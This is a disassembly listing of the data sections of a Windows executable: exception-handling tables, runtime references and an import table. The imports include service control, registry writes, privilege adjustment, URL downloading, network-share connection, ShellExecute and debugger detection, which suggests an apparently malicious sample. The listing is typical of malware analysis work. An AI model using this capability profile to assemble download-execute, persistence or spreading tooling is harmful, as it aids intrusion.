dword_420E80 dd 3 dup(0) ; DATA XREF: .rdata:00420A70o
dd offset dword_425900
dd offset dword_420E94
dword_420E94 dd 2 dup(0) ; DATA XREF: .rdata:00420E90o
dd 1, 420EA4h, 420EACh, 0
dd offset dword_425900
dd 2 dup(0)
dd 0FFFFFFFFh, 0
dd 40h, 420E94h
dword_420EC8 dd 3 dup(0) ; DATA XREF: .rdata:0041D328o
dd offset dword_425918
dd offset dword_420EDC
dword_420EDC dd 2 dup(0) ; DATA XREF: .rdata:00420ED8o
dd 3, 420EECh, 420EFCh, 420F48h, 420F94h, 0
dd offset dword_425918
dd 2, 0
dd 0FFFFFFFFh, 0
dd 40h, 420EDCh
dword_420F18 dd 3 dup(0) ; DATA XREF: .rdata:0041D31Co
dd offset dword_425938
dd offset dword_420F2C
dword_420F2C dd 2 dup(0) ; DATA XREF: .rdata:00420F28o
dd 2, 420F3Ch, 420F48h, 420F94h, 0
dd offset dword_425938
dd 1, 0
dd 0FFFFFFFFh, 0
dd 40h, 420F2Ch
dword_420F64 dd 3 dup(0) ; DATA XREF: .rdata:0041D310o
dd offset dword_425974
dd offset dword_420F78
dword_420F78 dd 2 dup(0) ; DATA XREF: .rdata:00420F74o
dd 2, 420F88h, 420FC8h, 420F94h, 0
dd offset dword_425958
align 10h
dd 0FFFFFFFFh, 0
dd 40h, 420FB0h
dword_420FB0 dd 2 dup(0) ; DATA XREF: .rdata:00420DE8o
dd 1, 420FC0h, 420F94h, 0
dd offset dword_425974
dd 1, 0
dd 0FFFFFFFFh, 0
dd 40h, 420F78h
dword_420FE4 dd 3 dup(0) ; DATA XREF: .rdata:00420AE8o
dd offset dword_425990
dd offset dword_420FF8
dword_420FF8 dd 2 dup(0) ; DATA XREF: .rdata:00420FF4o
dd 2, 421008h, 421014h, 420EACh, 0
dd offset dword_425990
dd 1, 0
dd 0FFFFFFFFh, 0
dd 40h, 420FF8h
dword_421030 dd 3 dup(0) ; DATA XREF: .rdata:00420AE0o
dd offset dword_4259A8
dd offset dword_421044
dword_421044 dd 2 dup(0) ; DATA XREF: .rdata:00421040o
dd 2, 421054h, 421060h, 420EACh, 0
dd offset dword_4259A8
dd 1, 0
dd 0FFFFFFFFh, 0
dd 40h, 421044h
dword_42107C dd 3 dup(0) ; DATA XREF: .rdata:00420B00o
dd offset dword_4259BC
dd offset dword_421090
dword_421090 dd 2 dup(0) ; DATA XREF: .rdata:0042108Co
dd 2, 4210A0h, 4210ACh, 420EACh, 0
dd offset dword_4259BC
dd 1, 0
dd 0FFFFFFFFh, 0
dd 40h, 421090h
dword_4210C8 dd 3 dup(0) ; DATA XREF: .rdata:00420BC8o
dd offset dword_4259D8
dd offset dword_4210DC
dword_4210DC dd 2 dup(0) ; DATA XREF: .rdata:004210D8o
dd 2, 4210ECh, 4210F8h, 420EACh, 0
dd offset dword_4259D8
dd 1, 0
dd 0FFFFFFFFh, 0
dd 40h, 4210DCh
dword_421114 dd 3 dup(0) ; DATA XREF: .rdata:00420BC0o
dd offset dword_4259F4
dd offset dword_421128
dword_421128 dd 2 dup(0) ; DATA XREF: .rdata:00421124o
dd 2, 421138h, 421144h, 420EACh, 0
dd offset dword_4259F4
dd 1, 0
dd 0FFFFFFFFh, 0
dd 40h, 421128h
dword_421160 dd 3 dup(0) ; DATA XREF: .rdata:00420D28o
dd offset dword_425A10
dd offset dword_421174
dword_421174 dd 2 dup(0) ; DATA XREF: .rdata:00421170o
dd 2, 421184h, 421190h, 420EACh, 0
dd offset dword_425A10
dd 1, 0
dd 0FFFFFFFFh, 0
dd 40h, 421174h
dword_4211AC dd 3 dup(0) ; DATA XREF: .rdata:00420D20o
dd offset dword_425A2C
dd offset dword_4211C0
dword_4211C0 dd 2 dup(0) ; DATA XREF: .rdata:004211BCo
dd 2, 4211D0h, 4211DCh, 420EACh, 0
dd offset dword_425A2C
dd 1, 0
dd 0FFFFFFFFh, 0
dd 40h, 4211C0h
dword_4211F8 dd 3 dup(0) ; DATA XREF: .rdata:00420D18o
dd offset dword_425A48
dd offset dword_42120C
dword_42120C dd 2 dup(0) ; DATA XREF: .rdata:00421208o
dd 2, 42121Ch, 421228h, 420EACh, 0
dd offset dword_425A48
dd 1, 0
dd 0FFFFFFFFh, 0
dd 40h, 42120Ch, 3 dup(0)
dword_421250 dd 42C4h, 43C9h, 6640h, 8658h, 0EB68h, 1C1D3h, 1C1EEh
; DATA XREF: .rdata:00420D80o
dd 1C209h, 1C22Ch, 1C24Fh, 1C274h, 1C299h, 1C2BCh, 1C2E1h
dd 1C313h, 1C348h, 0
dword_421294 dd 2 dup(0) ; DATA XREF: sub_40B042+2o
; sub_40B042+7o
dword_42129C dd 0 ; DATA XREF: sub_40B066+2o
; sub_40B066+7o
dword_4212A0 dd 0 ; DATA XREF: sub_4026B9+29o
dd offset sub_40264D
dd 0
dd offset dword_4212DC
dd 0FFFFFFFFh, 41C1CBh
dword_4212B8 dd 19930522h, 1, 4212B0h, 5 dup(0) ; DATA XREF: .text:0041C1E4o
dd 1
dword_4212DC dd 3, 4212ECh, 421940h, 42195Ch, 0 ; DATA XREF: .rdata:004212ACo
dd offset off_423008
align 8
dd 0FFFFFFFFh, 0
dd 28h, 4026F8h
dword_421308 dd 0FFFFFFFEh, 0 ; DATA XREF: __msize+2o
dd 0FFFFFFD0h, 0
dd 0FFFFFFFEh, 0
dd offset $LN16
align 8
dword_421328 dd 0FFFFFFFEh, 0 ; DATA XREF: __onexit+2o
dd 0FFFFFFD4h, 0
dd 0FFFFFFFEh, 0
dd offset $LN7
align 8
dword_421348 dd 0FFFFFFFEh, 0 ; DATA XREF: __fsopen+2o
dd 0FFFFFFD4h, 0
dd 0FFFFFFFEh, 0
dd offset $LN12_0
align 8
dword_421368 dd 0FFFFFFFEh, 0 ; DATA XREF: _fprintf+2o
dd 0FFFFFFD4h, 0
dd 0FFFFFFFEh, 0
dd offset $LN18
align 8
dword_421388 dd 0FFFFFFFEh, 0 ; DATA XREF: _fclose+2o
dd 0FFFFFFD4h, 0
dd 0FFFFFFFEh, 0
dd offset $LN13_2
align 8
dword_4213A8 dd 0FFFFFFFEh, 0 ; DATA XREF: _free+2o
dd 0FFFFFFD4h, 0
dd 0FFFFFFFEh, 0
dd offset $LN14
align 8
dword_4213C8 dd 0FFFFFFFEh, 0 ; DATA XREF: _V6_HeapAlloc+2o
dd 0FFFFFFD4h, 0
dd 0FFFFFFFEh, 0
dd offset $LN8_1
align 8
dword_4213E8 dd 0FFFFFFFEh, 0 ; DATA XREF: _fread_s+2o
dd 0FFFFFFD4h, 0
dd 0FFFFFFFEh, 0
dd offset $LN15_0
align 8
dword_421408 dd 0FFFFFFFEh, 0 ; DATA XREF: ___tmainCRTStartup+2o
dd 0FFFFFF80h, 0
dd 0FFFFFFFEh, 4040FFh, 404103h, 0FFFFFFFEh, 4040C5h, 4040D9h
dword_421430 dd 0FFFFFFFEh, 0 ; DATA XREF: ___updatetmbcinfo+2o
dd 0FFFFFFD4h, 0
dd 0FFFFFFFEh, 0
dd offset $LN18_0
align 10h
dword_421450 dd 0FFFFFFFEh, 0 ; DATA XREF: __setmbcp+2o
dd 0FFFFFFCCh, 0
dd 0FFFFFFFEh, 0
dd offset $LN27
align 10h
dword_421470 dd 0FFFFFFFEh, 0 ; DATA XREF: ___updatetlocinfo+2o
dd 0FFFFFFD4h, 0
dd 0FFFFFFFEh, 0
dd offset $LN11_2
align 10h
dword_421490 dd 0FFFFFFFEh, 0 ; DATA XREF: __initptd+2o
dd 0FFFFFFD4h, 0
dd 0FFFFFFFEh, 0
dd offset $LN9_1
align 10h
dword_4214B0 dd 0FFFFFFFEh, 0 ; DATA XREF: _freefls(x)+2o
dd 0FFFFFFD8h, 0
dd 0FFFFFFFEh, 0
dd offset $LN27_0
dd 0FFFFFFFEh, 0
dd offset $LN28_0
dword_4214D8 dd 0FFFFFFFEh, 0 ; DATA XREF: __mtinitlocknum+2o
dd 0FFFFFFD4h, 0
dd 0FFFFFFFEh, 0
dd offset $LN14_2
align 8
dword_4214F8 dd 0FFFFFFFEh, 0 ; DATA XREF: _doexit+2o
dd 0FFFFFFD4h, 0
dd 0FFFFFFFEh, 0
dd offset $LN27_1
align 8
dword_421518 dd 0FFFFFFFEh, 0 ; DATA XREF: sub_407F55+2o
dd 0FFFFFFD4h, 0
dd 0FFFFFFFEh, 0
dd offset sub_407FBC
align 8
dword_421538 dd 0FFFFFFFEh, 0 ; DATA XREF: __getstream+2o
dd 0FFFFFFD0h, 0
dd 0FFFFFFFEh, 0
dd offset $LN25
align 8
dword_421558 dd 0FFFFFFFEh, 0 ; DATA XREF: __ioinit+2o
dd 0FFFFFF8Ch, 0
dd 0FFFFFFFEh, 408A09h, 408A0Dh, 0
dword_421578 dd 0FFFFFFFEh, 0 ; DATA XREF: __close+2o
dd 0FFFFFFD0h, 0
dd 0FFFFFFFEh, 0
dd offset $LN14_4
align 8
dword_421598 dd 0FFFFFFFEh, 0 ; DATA XREF: _flsall+2o
dd 0FFFFFFCCh, 0
dd 0FFFFFFFEh, 0
dd offset $LN20_2
dd 2 dup(0)
dd offset $LN31
dword_4215C0 dd 0FFFFFFFEh, 0 ; DATA XREF: sub_40A34F+2o
dd 0FFFFFFD0h, 0
dd 0FFFFFFFEh, 0
dd offset sub_40A421
align 10h
dword_4215E0 dd 0FFFFFFFEh, 0 ; DATA XREF: ___FrameUnwindToState+2o
dd 0FFFFFFD0h, 0
dd 0FFFFFFFEh, 0
dd offset $LN29
align 10h
dd offset $LN28_1
dd offset $LN21_0
dword_421608 dd 0FFFFFFFEh, 0 ; DATA XREF: ___DestructExceptionObject+2o
dd 0FFFFFFD8h, 0
dd 0FFFFFFFEh, 40B405h, 40B40Eh, 40h, 2 dup(0)
dd offset unknown_libname_102 ; Microsoft VisualC 2-8/net runtime
dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 3 dup(0)
dd 2 dup(1), 421624h
dword_421658 dd 19930522h, 2, 421634h, 1, 421644h, 3 dup(0) ; DATA XREF: .text:0041C1FFo
dd 1, 0
dword_421680 dd 0FFFFFFFEh, 0 ; DATA XREF: CallCatchBlock(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,_s_FuncInfo const *,void *,int,ulong)+2o
dd 0FFFFFFB4h, 0
dd 0FFFFFFFEh, 0
dd offset $LN27_2
align 10h
dd offset $LN26_2
dd offset $LN19_4
dword_4216A8 dd 0FFFFFFFEh, 0 ; DATA XREF: ___BuildCatchObjectHelper+2o
dd 0FFFFFFD4h, 0
dd 0FFFFFFFEh, 40B804h, 40B808h, 0
dword_4216C8 dd 0FFFFFFFEh, 0 ; DATA XREF: ___BuildCatchObject+2o
dd 0FFFFFFD8h, 0
dd 0FFFFFFFEh, 40B89Dh, 40B8A1h
dword_4216E4 dd 0 ; DATA XREF: unknown_libname_104+162o
dd offset sub_40B1CF
align 10h
dd offset dword_4216F4
dword_4216F4 dd 2, 421700h, 42195Ch, 0 ; DATA XREF: .rdata:004216F0o
dd offset off_423E50
dd 0
dd 0FFFFFFFFh, 0
dd 0Ch, 40BD5Dh, 0
dword_421720 dd 0FFFFFFFEh, 0 ; DATA XREF: terminate(void)+2o
dd 0FFFFFFD8h, 0
dd 0FFFFFFFEh, 40BE79h, 40BE7Dh, 0
dword_421740 dd 0FFFFFFFEh, 0 ; DATA XREF: _inconsistency(void)+2o
dd 0FFFFFFD8h, 0
dd 0FFFFFFFEh, 40BEC9h, 40BECDh, 0
dword_421760 dd 0FFFFFFFEh, 0 ; DATA XREF: ___crtInitCritSecAndSpinCount+2o
dd 0FFFFFFCCh, 0
dd 0FFFFFFFEh, 40CB9Ah, 40CBB1h, 0
dword_421780 dd 0FFFFFFFEh, 0 ; DATA XREF: __IsNonwritableInCurrentImage+2o
dd 0FFFFFFD8h, 0
dd 0FFFFFFFEh, 40CC98h, 40CCACh, 0
dword_4217A0 dd 0FFFFFFFEh, 0 ; DATA XREF: __lseeki64+2o
dd 0FFFFFFCCh, 0
dd 0FFFFFFFEh, 0
dd offset $LN14_7
align 10h
dword_4217C0 dd 0FFFFFFFEh, 0 ; DATA XREF: sub_40D420+2o
dd 0FFFFFFD0h, 0
dd 0FFFFFFFEh, 0
dd offset sub_40D4F2
align 10h
dword_4217E0 dd 0FFFFFFFEh, 0 ; DATA XREF: __calloc_impl+2o
dd 0FFFFFFD4h, 0
dd 0FFFFFFFEh, 0
dd offset $LN37_0
align 10h
dword_421800 dd 0FFFFFFFEh, 0 ; DATA XREF: _realloc+2o
dd 0FFFFFFD0h, 0
dd 0FFFFFFFEh, 0
dd offset $LN66
align 10h
dword_421820 dd 0FFFFFFFEh, 0 ; DATA XREF: unknown_libname_119+2o
dd 0FFFFFFC0h, 0
dd 0FFFFFFFEh, 0
dd offset unknown_libname_123 ; Microsoft VisualC 2-8/net runtime
align 10h
dword_421840 dd 0FFFFFFFEh, 0 ; DATA XREF: __fcloseall+2o
dd 0FFFFFFD0h, 0
dd 0FFFFFFFEh, 0
dd offset $LN13_11
align 10h
dword_421860 dd 0FFFFFFFEh, 0 ; DATA XREF: sub_40E6B0+2o
dd 0FFFFFFCCh, 0
dd 0FFFFFFFEh, 0
dd offset sub_40E749
align 10h
dword_421880 dd 0FFFFFFFEh, 0 ; DATA XREF: ___lock_fhandle+2o
dd 0FFFFFFD4h, 0
dd 0FFFFFFFEh, 0
dd offset $LN14_9
align 10h
dword_4218A0 dd 0FFFFFFFEh, 0 ; DATA XREF: __alloc_osfhnd+2o
dd 0FFFFFFC8h, 0
dd 0FFFFFFFEh, 0
dd offset $LN31_0
dd 2 dup(0)
dd offset $LN48_0
dword_4218C8 dd 0FFFFFFFEh, 0 ; DATA XREF: __commit+2o
dd 0FFFFFFD0h, 0
dd 0FFFFFFFEh, 0
dd offset $LN16_4
align 8
dword_4218E8 dd 0FFFFFFFEh, 0 ; DATA XREF: _has_osfxsr_set+2o
dd 0FFFFFFD4h, 0
dd 0FFFFFFFEh, 40F7A6h, 40F7C2h, 0
dword_421908 dd 0FFFFFFFEh, 0 ; DATA XREF: ___set_fpsr_sse2+2o
dd 0FFFFFFD8h, 0
dd 0FFFFFFFEh, 410107h, 410123h, 0
dd offset dword_425918
align 10h
dd 0FFFFFFFFh, 0
dd 28h, 4013CEh, 0
dd offset dword_425938
dd 0
dd 0FFFFFFFFh, 0
dd 28h, 4013E6h, 0
dd offset dword_425958
align 8
dd 0FFFFFFFFh, 0
dword_421970 dd 0Ch, 402C72h, 3, 421924h, 421940h, 42195Ch ; DATA XREF: .rdata:00421994o
dword_421988 dd 0 ; DATA XREF: sub_40121E+48o
; sub_4016BA+48o ...
dd offset sub_4010E1
dd 0
dd offset dword_421970+8
dd 0
dd offset dword_425974
dd 0
dd 0FFFFFFFFh, 0
dword_4219AC dd 0Ch, 401637h, 2, 421998h, 42195Ch ; DATA XREF: .rdata:004219CCo
dword_4219C0 dd 0 ; DATA XREF: std::_Allocate<char>(uint,char *)+34o
; operator new(uint)+54o
dd offset sub_401038
dd 0
dd offset dword_4219AC+8
dword_4219D0 dd 0FFFFFFFEh, 0 ; DATA XREF: sub_419760+2o
dd 0FFFFFFB4h, 0
dd 0FFFFFFFEh, 5 dup(0)
dd 0FFFFFFFFh, 41C26Ah
dword_421A00 dd 19930522h, 1, 4219F8h, 5 dup(0) ; DATA XREF: .text:0041C285o
dd 1, 0FFFFFFFFh, 41C28Fh
dword_421A2C dd 19930522h, 1, 421A24h, 5 dup(0) ; DATA XREF: .text:0041C2AAo
dd 1, 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 0
dd 1, 0
dd 1, 0
dd 40h, 2 dup(0)
dd offset unknown_libname_5 ; Microsoft VisualC 2-8/net runtime
dd 40h, 2 dup(0)
dd offset unknown_libname_3 ; Microsoft VisualC 2-8/net runtime
dd 2 dup(2), 3, 1, 421A70h, 2 dup(0)
dd 3, 1, 421A80h
dword_421AB8 dd 19930522h, 4, 421A50h, 2, 421A90h, 3 dup(0) ; DATA XREF: sub_41C209+11o
dd 1, 0
dd 0FFFFFFFFh, 41C224h
dword_421AE8 dd 19930522h, 1, 421AE0h, 5 dup(0) ; DATA XREF: .text:0041C23Do
dd 1, 0
dd 0FFFFFFFFh, 41C247h
dword_421B18 dd 19930522h, 1, 421B10h, 5 dup(0) ; DATA XREF: .text:0041C260o
dd 1, 0
dd 0FFFFFFFFh, 41C2B4h
dword_421B48 dd 19930522h, 1, 421B40h, 5 dup(0) ; DATA XREF: .text:0041C2CDo
dd 1, 0
dd 0FFFFFFFFh, 41C2D7h
dword_421B78 dd 19930522h, 1, 421B70h, 5 dup(0) ; DATA XREF: .text:0041C2FCo
dd 1, 0
dd 0FFFFFFFFh, 41C306h
dword_421BA8 dd 19930522h, 1, 421BA0h, 5 dup(0) ; DATA XREF: .text:0041C331o
dd 1, 0
dd 0FFFFFFFFh, 41C33Bh
dword_421BD8 dd 19930522h, 1, 421BD0h, 5 dup(0) ; DATA XREF: .text:0041C366o
dd 1, 21D00h, 2 dup(0)
dd 2222Ch, 1D050h, 21E9Ch, 2 dup(0)
dd 222D2h, 1D1ECh, 21CB0h, 2 dup(0)
dd 2243Ah, 1D000h, 21E94h, 2 dup(0)
dd 22458h, 1D1E4h, 21E7Ch, 2 dup(0)
dd 22464h, 1D1CCh, 21ED4h, 2 dup(0)
dd 22470h, 1D224h, 21EC4h, 2 dup(0)
dd 224B4h, 1D214h, 21E74h, 2 dup(0)
dd 224D6h, 1D1C4h, 5 dup(0)
dd 22418h, 22406h, 223F2h, 223E0h, 223D2h, 223BAh, 223ACh
dd 2239Ah, 2238Ah, 22378h, 22360h, 22350h, 2233Eh, 22326h
dd 22314h, 22304h, 222EEh, 222DEh, 2242Ah, 0
dd 220AEh, 220BCh, 220CEh, 220E8h, 220FAh, 22110h, 2212Ch
dd 2213Ch, 2214Ah, 22158h, 2216Ah, 22176h, 2218Ch, 22198h
dd 221A8h, 221B4h, 2209Ah, 221D2h, 221E4h, 221FAh, 2220Ah
dd 22220h, 22842h, 22832h, 2281Ch, 2280Ch, 227F8h, 227E8h
dd 22088h, 22074h, 22064h, 22050h, 22042h, 22032h, 22022h
dd 22014h, 21FFEh, 21FEAh, 21FDAh, 21FC8h, 21FB8h, 21FA2h
dd 21F8Eh, 21F86h, 21F74h, 21F60h, 21F50h, 21F44h, 221C2h
dd 21F38h, 227D6h, 227C6h, 227AAh, 22798h, 22786h, 22776h
dd 22766h, 2274Ch, 22736h, 2271Ch, 22704h, 226EAh, 226DCh
dd 226CCh, 226BAh, 226ACh, 2269Ch, 2268Eh, 22680h, 22672h
dd 2265Ah, 22642h, 2262Ah, 2261Ah, 22610h, 22602h, 225F6h
dd 225E8h, 225DCh, 225D2h, 224DEh, 224EAh, 22500h, 2251Ch
dd 2253Ah, 22554h, 22566h, 22578h, 2258Ah, 22596h, 225A2h
dd 225BAh, 0
dd 224C0h, 0
dd 8000000Bh, 8000001Fh, 80000018h, 80000029h, 8000004Bh
dd 0
dd 22448h, 0
dd 222C2h, 222A0h, 22294h, 22280h, 2226Eh, 2225Ch, 22248h
dd 222B4h, 2223Ah, 0
dd 22490h, 2247Ch, 224A4h, 0
dd 80000003h, 80000013h, 80000065h, 8000000Dh, 80000001h
dd 80000006h, 80000034h, 80000004h, 80000074h, 80000005h
dd 80000014h, 80000015h, 8000000Fh, 80000012h, 80000011h
dd 8000000Ch, 8000000Bh, 8000000Ah, 80000002h, 80000010h
dd 80000073h, 80000009h, 80000017h, 80000033h, 0
dd 65480210h, 6C417061h, 636F6Ch, 65480216h, 72467061h
dd 6565h, 654701DFh, 63695474h, 756F436Bh, 746Eh, 65470145h
dd 72754374h, 746E6572h, 65726854h, 6461h, 654701A3h, 6F725074h
dd 73736563h, 70616548h, 3560000h, 65656C53h, 35E0070h
dd 6D726554h, 74616E69h, 6F725065h, 73736563h, 1C10000h
aGetsystemdirec db 'GetSystemDirectoryA',0
dd 65470171h, 73614C74h, 72724574h, 726Fh, 654701A0h, 6F725074h
dd 64644163h, 73736572h, 2520000h, 64616F4Ch, 7262694Ch
dd 41797261h, 17F0000h, 4D746547h, 6C75646Fh, 6E614865h
dd 41656C64h, 1460000h
aGetcurrentthre db 'GetCurrentThreadId',0
align 4
a4 db '4',0
aClosehandle db 'CloseHandle',0
dw 358h
aSuspendthread db 'SuspendThread',0
dw 2D2h
aResumethread db 'ResumeThread',0
align 2
aG db 'ƒ',0
aDeletefilea db 'DeleteFileA',0
db 42h ; B
db 1, 47h, 65h
aTcurrentproces db 'tCurrentProcess',0
dd 69560384h, 61757472h, 6572466Ch, 784565h, 69560387h
dd 61757472h, 6F72506Ch, 74636574h, 7845h, 69560382h, 61757472h
dd 6C6C416Ch, 7845636Fh, 2390000h
aIsdebuggerpres db 'IsDebuggerPresent',0
db '¹',0
aExitprocess db 'ExitProcess',0
dd 65470174h, 636F4C74h, 49656C61h, 416F666Eh, 2A30000h
aQueryperforman db 'QueryPerformanceCounter',0
aF db 'f',0
aCreateprocessa db 'CreateProcessA',0
align 2
dw 17Dh
aGetmodulefil_0 db 'GetModuleFileNameA',0
align 10h
db 0A4h ; ¤
db 2, 51h, 75h
aEryperformance db 'eryPerformanceFrequency',0
dd 654701E9h, 72655674h, 6E6F6973h, 417845h, 72430053h
dd 65746165h, 656C6946h, 1630041h, 46746547h, 53656C69h
dd 657A69h, 6553031Bh, 6C694674h, 696F5065h, 7265746Eh
dd 2B50000h, 64616552h, 656C6946h, 3900000h
aWaitforsingleo db 'WaitForSingleObject',0
aC_0 db 'C',0
aCopyfilea db 'CopyFileA',0
db '`',0
aCreatemutexa db 'CreateMutexA',0
align 4
db 0A4h ; ¤
db 3, 57h, 72h
aItefile db 'iteFile',0
db 'º',0
aExitthread db 'ExitThread',0
align 2
aO db 'o',0
aCreatethread db 'CreateThread',0
align 2
dw 35Fh
aTerminatethrea db 'TerminateThread',0
db 4
db 2, 47h, 6Ch
aObalmemorystat db 'obalMemoryStatus',0
align 2
aO_0 db 'O',0
aCreateeventa db 'CreateEventA',0
align 2
dw 275h
aMultibytetowid db 'MultiByteToWideChar',0
dd 736C03CCh, 656C7274h, 416Eh, 4E52454Bh, 32334C45h, 6C6C642Eh
dd 1BA0000h, 64616F4Ch, 73727543h, 41726Fh, 694400A1h
dd 74617073h, 654D6863h, 67617373h, 4165h, 6544008Eh, 6E695766h
dd 50776F64h, 41636F72h, 600000h, 61657243h, 69576574h
dd 776F646Eh, 417845h, 725402AAh, 6C736E61h, 4D657461h
dd 61737365h, 6567h, 6F4C01BEh, 63496461h, 416E6Fh, 65520217h
dd 74736967h, 6C437265h, 45737361h, 4178h, 6547013Ah, 73654D74h
dd 65676173h, 10B0041h, 43746547h, 6F737275h, 736F5072h
dd 53550000h, 32335245h, 6C6C642Eh, 1AF0000h, 6E65704Fh
dd 76726553h, 41656369h, 3E0000h
aCloseserviceha db 'CloseServiceHandle',0
align 4
aP db '¯',0
aDeleteservice db 'DeleteService',0
dd 704F01B1h, 68546E65h, 64616572h, 656B6F54h, 14F006Eh
aLookupprivileg db 'LookupPrivilegeValueA',0
dw 132h
aImpersonatesel db 'ImpersonateSelf',0
db 0ECh ; ì
db 1, 52h, 65h
aGopenkeyexa db 'gOpenKeyExA',0
db 0C4h ; Ä
db 1, 51h, 75h
aEryservicestat db 'eryServiceStatusEx',0
align 4
dd 704F01ADh, 43536E65h, 616E614Dh, 41726567h, 1E10000h
dd 45676552h, 566D756Eh, 65756C61h, 420041h, 746E6F43h
dd 536C6F72h, 69767265h, 6563h, 655201DDh, 756E4567h, 79654B6Dh
dd 1C0041h
aAdjusttokenpri db 'AdjustTokenPrivileges',0
dw 1CBh
aRegclosekey db 'RegCloseKey',0
db 4
db 2, 52h, 65h
aGsetvalueexa db 'gSetValueExA',0
align 2
dw 1F7h
aRegqueryvaluee db 'RegQueryValueExA',0
align 2
dw 1D1h
aRegcreatekeyex db 'RegCreateKeyExA',0
db 0D8h ; Ø
db 1, 52h, 65h
aGdeletevaluea db 'gDeleteValueA',0
dw 124h
aGetusernamea db 'GetUserNameA',0
align 2
aAdvapi32_dll db 'ADVAPI32.dll',0
align 4
db 7
db 1, 53h, 68h
aEllexecutea db 'ellExecuteA',0
aShell32_dll db 'SHELL32.dll',0
aOdbc32_dll db 'ODBC32.dll',0
align 10h
aWs2_32_dll db 'WS2_32.dll',0
align 4
aU db '“',0
aInternetopenur db 'InternetOpenUrlA',0
align 10h
db 'š',0
aInternetreadfi db 'InternetReadFile',0
align 4
aT db '’',0
aInternetopena db 'InternetOpenA',0
aWininet_dll db 'WININET.dll',0
db 6
align 2
aWnetaddconnect db 'WNetAddConnection2A',0
aMpr_dll db 'MPR.dll',0
dw 21Ch
aHeapsize db 'HeapSize',0
align 2
dw 143h
aGetcurrentproc db 'GetCurrentProcessId',0
db 6Eh ; n
db 3, 55h, 6Eh
aHandledexcepti db 'handledExceptionFilter',0
align 4
db 4Ah ; J
db 3, 53h, 65h
aTunhandledexce db 'tUnhandledExceptionFilter',0
dw 1CAh
aGetsystemtimea db 'GetSystemTimeAsFileTime',0
dd 65470110h, 6D6F4374h, 646E616Dh, 656E694Ch, 1B70041h
dd 53746547h, 74726174h, 6E497075h, 416F66h, 615202A7h
dd 45657369h, 70656378h, 6E6F6974h, 2D70000h, 556C7452h
dd 6E69776Eh, 1040064h, 43746547h, 666E4950h, 22C006Fh
aInterlockedinc db 'InterlockedIncrement',0
align 2
dw 228h
aInterlockeddec db 'InterlockedDecrement',0
align 2
dw 0FDh
aGetacp db 'GetACP',0
align 4
dd 65470193h, 4D454F74h, 5043h, 6C540365h, 74654773h, 756C6156h
dd 3630065h, 41736C54h, 636F6C6Ch, 3660000h, 53736C54h
dd 61567465h, 65756Ch, 6C540364h, 65724673h, 3280065h
dd 4C746553h, 45747361h, 726F7272h, 810000h
aDeletecritical db 'DeleteCriticalSection',0
dw 251h
aLeavecriticals db 'LeaveCriticalSection',0
align 2
aS_20 db '˜',0
aEntercriticals db 'EnterCriticalSection',0
align 2
dw 214h
aHeapdestroy db 'HeapDestroy',0
dd 65480212h, 72437061h, 65746165h, 3830000h, 74726956h
dd 466C6175h, 656572h, 69560381h, 61757472h, 6C6C416Ch
dd 636Fh, 6548021Ah, 65527061h, 6F6C6C41h, 3240063h, 48746553h
dd 6C646E61h, 756F4365h, 746Eh, 654701B9h, 64745374h, 646E6148h
dd 656Ch, 65470166h, 6C694674h, 70795465h, 0F60065h
aFreeenvironmen db 'FreeEnvironmentStringsA',0
db 55h ; U
db 1, 47h, 65h
aTenvironmentst db 'tEnvironmentStrings',0
db 0F7h ; ÷
align 2
aFreeenvironm_0 db 'FreeEnvironmentStringsW',0
dw 394h
aWidechartomult db 'WideCharToMultiByte',0
db 57h ; W
db 1, 47h, 65h
aTenvironment_0 db 'tEnvironmentStringsW',0
align 2
dw 244h
aLcmapstringa db 'LCMapStringA',0
align 2
dw 245h
aLcmapstringw db 'LCMapStringW',0
align 2
dw 1BAh
aGetstringtypea db 'GetStringTypeA',0
align 4
dd 654701BDh, 72745374h, 54676E69h, 57657079h, 2230000h
aInitializecr_0 db 'InitializeCriticalSection',0
dw 122h
aGetconsolecp db 'GetConsoleCP',0
align 2
dw 133h
aGetconsolemode db 'GetConsoleMode',0
align 4
db 37h ; 7
db 3, 53h, 65h
aTstdhandle db 'tStdHandle',0
align 4
aU_0 db 'î',0
aFlushfilebuffe db 'FlushFileBuffers',0
align 4
db 99h ; ™
db 3, 57h, 72h
aIteconsolea db 'iteConsoleA',0
db 35h ; 5
db 1, 47h, 65h
aTconsoleoutput db 'tConsoleOutputCP',0
align 2
dw 3A3h
aWriteconsolew db 'WriteConsoleW',0
dw 310h
aSetendoffile db 'SetEndOfFile',0
align 2
_rdata ends
; Section 3. (virtual address 00023000)
; Virtual size : 00011DFC ( 73212.)
; Section size in file : 00011DFC ( 73212.)
; Offset to raw data for section: 00023000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_data segment para public 'DATA' use32
assume cs:_data
;org 423000h
dd offset aBadAllocation ; "bad allocation"
dd offset aBadAllocation ; "bad allocation"
off_423008 dd offset off_41D38C ; DATA XREF: .rdata:00420D94o
; .rdata:00420DBCo ...
align 10h
a_?avout_of_ran db '.?AVout_of_range@std@@',0
align 4
dd offset aBadAllocation ; "bad allocation"
dd offset aBadAllocation ; "bad allocation"
off_423030 dd offset off_41D38C ; DATA XREF: .rdata:00420DF8o
; .rdata:00420E18o
align 8
a_?avtype_info@ db '.?AVtype_info@@',0
off_423048 dd offset aBadAllocation ; DATA XREF: std::bad_alloc::bad_alloc(void)+3o
; "bad allocation"
align 10h
dword_423050 dd 2 ; DATA XREF: __NMSG_WRITE+42r
; __FF_MSGBANNER+19r ...
align 10h
dd offset ?__CxxUnhandledExceptionFilter@@YGJPAU_EXCEPTION_POINTERS@@@Z ; __CxxUnhandledExceptionFilter(_EXCEPTION_POINTERS *)
dword_423064 dd 0D73359DEh ; DATA XREF: sub_401C1D+9r
; sub_401CC0+Cr ...
dword_423068 dd 28CCA621h ; DATA XREF: ___report_gsfailure+AEr
; ___security_init_cookie+29w ...
align 10h
dword_423070 dd 0FFFFFFFFh, 16h dup(0) ; DATA XREF: setSBCS(threadmbcinfostruct *)+29o
; ___updatetmbcinfo+63o ...
dd 10100000h, 6 dup(10101010h), 0
dd 20200000h, 6 dup(20202020h), 31h dup(0)
dd 62610000h, 66656463h, 6A696867h, 6E6D6C6Bh, 7271706Fh
dd 76757473h, 7A797877h, 0
db 0
align 2
aAbcdefghijklmn db 'ABCDEFGHIJKLMNOPQRSTUVWXYZ',0
align 4
dd 21h dup(0)
